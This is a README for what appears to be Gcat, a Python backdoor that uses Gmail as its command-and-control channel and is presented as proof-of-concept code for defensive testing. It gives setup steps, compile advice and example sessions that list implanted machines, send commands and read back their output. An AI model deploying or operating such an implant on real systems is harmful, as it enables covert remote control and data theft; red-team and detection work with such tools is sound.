A stealthy Python based backdoor that uses Gmail as a command and control server
This project was inspired by the original PoC code from Benjamin Donnelly
This is PoC code...
... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see projects like RITA.
For a more up to date and maintained version of this project see GDog
For this to work you need:
- A Gmail account (Use a dedicated account! Do not use your personal one!)
- Turn on "Allow less secure apps" under the security settings of the account
- You may also have to enable IMAP in the account settings
This repo contains two files:
gcat.pya script that's used to enumerate and issue commands to available clients
implant.pythe actual backdoor to deploy
In both files, edit the
gmail_pwd variables with the username and password of the account you previously setup.
You're probably going to want to compile
implant.py into an executable using Pyinstaller
Note: It's recommended you compile implant.py using a 32bit Python installation
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- Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:
#~ python gcat.py -list f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86 90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
The output is a UUID string that uniquely identifies the system and the OS the implant is running on
- Let's issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all' [*] Command sent successfully with jobid: SH3C4gv
Here we are telling
90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute
ipconfig /all, the script then outputs the
jobid that we can use to retrieve the output of that command
- Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)' JOBID: SH3C4gv FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py' CMD: 'ipconfig /all' Windows IP Configuration Host Name . . . . . . . . . . . . : unknown-2d44b52 Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Unknown IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No -- SNIP --
- That's the gist of it! But you can do much more as you can see from the usage of the script! ;)
- Multi-platform support
Command to upload files
- Transport crypto & obfuscation